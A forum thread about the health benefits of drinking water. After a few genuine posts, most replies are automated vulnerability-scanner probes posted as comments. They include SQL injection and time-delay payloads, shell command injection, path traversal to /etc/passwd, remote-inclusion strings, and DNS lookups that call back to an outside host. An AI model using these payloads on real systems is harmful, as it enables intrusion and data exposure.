Drinking plenty of water
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  • #1573 Reply

    Edith

    I drink plenty of water every day. I used to love those iced tea drinks that come in a can. I would have one can with each meal until one day I read the label and realized how much sugar is in those drinks. I decided to cut back and substitute them with plain water. In time, I noticed that my skin looked better. It looked clearer and the puffiness around my eyes diminished. I have now cut out all sugary drinks from my diet and only drink water or the occasional herbal tea.

  • #1583 Reply

    Anomie

    I try to keep up with how much I should drink but sometimes it is hard to do. I can get a headache if I don’t get enough water and then times when I top over what I need I am bloated for the rest of the day. How do you find the right amount?

  • #1622 Reply

    OrangeStar

    Anomie, I’m surprised you get bloated; drinking water usually helps flush out any water your body is holding on to. Make sure you are taking sips throughout the day instead of guzzling a big glass all at once.

  • #1630 Reply

    Lovie

    I agree that if you are drinking enough water you shouldn’t feel bloated. There are so many things that drinking plenty of water is good for. Your heart needs a lot of water to stay healthy. For that matter all of your organs need plenty of water. I think the recommended 8 glasses of water a day is the minimum. One incentive for me is that plenty of water can prevent kidney stones which are outrageously painful.

  • #1867 Reply

    Danna

    I get bloated when I don’t drink enough water. I agree that 64 ounces a day is a minimum and a little more is better, especially if it’s during the summer or you exercise a lot. I aim for between 80 and 100 ounces a day.

  • #1856 Reply

    Bonnie_puppet

    I keep water with me pretty much everywhere I go. It is very easy to fill up a container and just keep it handy. Then I am not always tempted to get something bad for me. I have even started to limit the juice since it is bad for your teeth.

    • #6841 Reply

      Chelsia

      I wanetd to spend a minute to thank you for this.

  • #1885 Reply

    Jessica

    I have been busy at work and haven’t been drinking my water as faithfully as I usually do. I take a water bottle with me in the morning and then fill up my glass from the bottled water we have at work. I know I feel better when I do drink enough water.

  • #14131 Reply

    Harvene Bahr
    Participant

    But if I drink tap water (and I used to drink a lot at my work) I found out that it is not at all healthy. After reading what is in my tap water I almost gagged! I have now pure filtered water and it is so much more fun to drink. I use Turapure and Clearly Filtered pitchers Anyone’a thoughts on this.

  • #32421 Reply

    arachni_name

    1

  • #32431 Reply

    arachni_name”‘`–

    1

  • #32441 Reply

    arachni_name

    1

  • #32451 Reply

    arachni_name

    1

  • #32461 Reply

    arachni_name

    1″‘`–

  • #32471 Reply

    arachni_name

    1)

  • #36961 Reply

    Smith

    3

  • #36991 Reply

    Smith

    33

  • #37001 Reply

    Smith

    33

  • #42771 Reply

    Smith

    -1 OR 1=1

  • #42781 Reply

    Smith

    NS1NO

  • #42791 Reply

    Smith

    ‘ OR 1=1 OR ‘ns’=’ns

  • #42801 Reply

    Smith

    ‘ OR 1=1 OR ‘1’=’1

  • #42811 Reply

    Smith

  • #42821 Reply

    Smith

    1 AND ‘NS=’ss

  • #42831 Reply

    Smith

    -1 OR 17-7=10

  • #42841 Reply

    Smith

    %27

  • #42851 Reply

    Smith

    cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

  • #42861 Reply

    Smith

    ‘||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||’

  • #42871 Reply

    Smith

    NSFTW

  • #42881 Reply

    Smith

    WAITFOR DELAY ‘0:0:25’–

  • #42891 Reply

    Smith

    ((select sleep(25)))a– 1

  • #42901 Reply

    Smith

    (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

  • #42911 Reply

    Smith

    ‘||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||’

  • #42921 Reply

    Smith

    1′ || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ‘

  • #42931 Reply

    Smith

    ‘;SELECT pg_sleep(25)–

  • #42941 Reply

    Smith

    SELECT pg_sleep(25)–

  • #42951 Reply

    Smith

    ‘);SELECT pg_sleep(25)–

  • #42971 Reply

    Smith

    “&expr 268409241 – 2 &”

  • #42981 Reply

    Smith

    ‘&expr 268409241 – 2 &’

  • #42991 Reply

    Smith

    expr 268409241 – 2 &

  • #43001 Reply

    Smith

    expr 268409241 – 2

  • #43011 Reply

    Smith

    <!–#exec cmd=”expr 268409241 – 2″–>

  • #43021 Reply

    Smith

    |expr${IFS}268409241${IFS}-${IFS}2

  • #43031 Reply

    Smith

    “&ping -c 25 127.0.0.1 &”

  • #43051 Reply

    Smith

    ping -c 25 127.0.0.1 &

  • #43061 Reply

    Smith

    ping -c 25 127.0.0.1

  • #43071 Reply

    Smith
  • #43091 Reply

    Smith

    php://filter//resource=http://r87.com/n?.php

  • #43101 Reply

    Smith

    r87.com/n

  • #43111 Reply

    Smith

    file:///etc/passwd

  • #43131 Reply

    Smith

    %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

  • #43141 Reply

    Smith
  • #43151 Reply

    Smith

    php://filter//resource=http://swkw2jobowiidnkmekcgqw9cbquj4byfhnvcbwdscar.r87.me/p/

  • #43161 Reply

    Smith

    swkw2jobownqwlfmagq5vhb0wwyhbibwc7oy5_7zh6j.r87.me/p/

  • #43221 Reply

    Smith

    {php}print(int)0xFFF9999-22;{/php}

  • #43251 Reply

    Smith

    SELECT dblink_connect(‘host=swkw2jobowhoptnxzpcrs_i9xmszlileunykxwhz’||’evi.r87.me user=a password=a connect_timeout=2’)

  • #43261 Reply

    Smith

    dblink_connect(‘host=swkw2jobowsgil9gz37fobb1cd_uhf-hwpyopfby’||’1gc.r87.me user=a password=a connect_timeout=2’)

  • #43271 Reply

    Smith

    cast((SELECT dblink_connect(‘host=swkw2jobownur8hletgs-pohsfk-qf096bboo0be’||’zii.r87.me user=a password=a connect_timeout=2’)) as numeric)

  • #43281 Reply

    Smith

    cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(122)||chr(111)||chr(109)||chr(101)||chr(102)||chr(111)||chr(119)||chr(120)||chr(57)||chr(116)||chr(121)||chr(52)||chr(52)||chr(114)||chr(56)||chr(116)||chr(110)||chr(100)||chr(114)||chr(113)||chr(103)||chr(55)||chr(101)||chr(122)||chr(107)||chr(117)||chr(100)||chr(102)||chr(98)||chr(103)||chr(98)||chr(117)||chr(97)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

  • #43291 Reply

    Smith

    ‘||cast((SELECT dblink_connect(‘host=swkw2jobowzcznf1fzo4u5mcqndo3bcrnhtd2vpt’||’hpc.r87.me user=a password=a connect_timeout=2′)) as numeric)||’

  • #43301 Reply

    Smith

    (select UTL_INADDR.GET_HOST_ADDRESS(‘swkw2jobowmegcf9gx9tux4uro-p6kp67d09warf’||’aii.r87.me’) from DUAL)

  • #43311 Reply

    Smith

    (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(‘swkw2jobowiwfuoeqn_pvzz-_psmrnjtsbco2_9p’||’yo8.r87.me’) from DUAL))))

  • #43321 Reply

    Smith

    ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(‘swkw2jobowfnicbtvfawuekpd2g_m-j_uhontoxq’||’5uw.r87.me’) from DUAL))||’

  • #43331 Reply

    Smith

    (select UTL_INADDR.GET_HOST_ADDRESS(chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(98)||chr(105)||chr(115)||chr(117)||chr(104)||chr(53)||chr(105)||chr(105)||chr(99)||chr(122)||chr(105)||chr(103)||chr(54)||chr(99)||chr(120)||chr(114)||chr(122)||chr(110)||chr(95)||chr(98)||chr(99)||chr(113)||chr(48)||chr(98)||chr(108)||chr(45)||chr(51)||chr(109)||chr(99)||chr(105)||chr(120)||chr(112)||chr(97)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

  • #43341 Reply

    Smith

    (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(115)||chr(98)||chr(112)||chr(102)||chr(108)||chr(102)||chr(106)||chr(97)||chr(120)||chr(98)||chr(106)||chr(116)||chr(54)||chr(115)||chr(108)||chr(57)||chr(50)||chr(95)||chr(102)||chr(119)||chr(114)||chr(45)||chr(99)||chr(97)||chr(99)||chr(101)||chr(45)||chr(98)||chr(115)||chr(55)||chr(112)||chr(48)||chr(113)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))

  • #43351 Reply

    Smith

    ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(115)||chr(119)||chr(107)||chr(119)||chr(50)||chr(106)||chr(111)||chr(98)||chr(111)||chr(119)||chr(121)||chr(99)||chr(57)||chr(114)||chr(122)||chr(102)||chr(113)||chr(115)||chr(51)||chr(115)||chr(101)||chr(55)||chr(119)||chr(113)||chr(109)||chr(119)||chr(119)||chr(103)||chr(119)||chr(110)||chr(107)||chr(108)||chr(103)||chr(113)||chr(104)||chr(48)||chr(117)||chr(95)||chr(49)||chr(48)||chr(103)||chr(111)||chr(117)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||’

  • #43381 Reply

    Smith

    +gethostbyname(trim(‘swkw2jobowxrj18_rocqvdz–4fq1ll2m17ju5df’.’qdk.r87.me’));//

  • #43391 Reply

    Smith

    ‘+gethostbyname(trim(‘swkw2jobowy1p6o5satmz40r7r2gofawmkan8h31′.’a3o.r87.me’))+’

  • #43411 Reply

    Smith

    <? gethostbyname(trim(‘swkw2jobowobai5i_7b0sfasye64lahllmhjxibn’.’hoy.r87.me’));//?>

  • #43421 Reply

    Smith

    ‘{${gethostbyname(trim(‘swkw2jobown-abu5ek3kwfdtwymthhusukcjhewx’.’asw.r87.me’))}}’

  • #43431 Reply

    Smith

    nslookup swkw2jobowzp5r62gxvhbxdmpkemyz7we5vlxafkzn8.r87.me&’\”0&nslookup swkw2jobowzp5r62gxvhbxdmpkemyz7we5vlxafkzn8.r87.me&

  • #43441 Reply

    Smith

    & nslookup swkw2jobow9vxm3vvyeikthhr05fpkjkgy8l7ilnlhe.r87.me&’\”0&nslookup swkw2jobow9vxm3vvyeikthhr05fpkjkgy8l7ilnlhe.r87.me&

  • #43451 Reply

    Smith

    ‘& nslookup swkw2jobowb-aps81ly10e9wwwyhjhgughgw8qh8tt8.r87.me&’\”0&nslookup swkw2jobowb-aps81ly10e9wwwyhjhgughgw8qh8tt8.r87.me&

  • #43461 Reply

    Smith

    “& nslookup swkw2jobowvlapiy-gpov6tv0os_swvxzarrvvkd9yu.r87.me&’\”0&nslookup swkw2jobowvlapiy-gpov6tv0os_swvxzarrvvkd9yu.r87.me&

  • #43471 Reply

    Smith

    nslookup “swkw2joboweinsdkrkf_lprydcs-r2oyiyr0rmok””trk.r87.me”

  • #43481 Reply

    Smith

    &nslookup “swkw2jobowhgsernqsh4jpcrxh9js_bxfaz4ug1o””oky.r87.me”

  • #43491 Reply

    Smith

    ‘&nslookup “swkw2jobowfk0forj9oem9qlrvmnjktiz76fvrkr””a8a.r87.me”

  • #43501 Reply

    Smith

    “&nslookup “swkw2jobow5vvfq_x68n8tt-j-3uvzkizqg8vsfh””njo.r87.me”

  • #43511 Reply

    Smith

    |nslookup${IFS}”swkw2jobow9pj6p_8_hdld6kurtgpapct5jsruiv””bqy.r87.me”

This topic contains 78 replies, has 3 voices, and was last updated by  Smith 1 year, 2 months ago.

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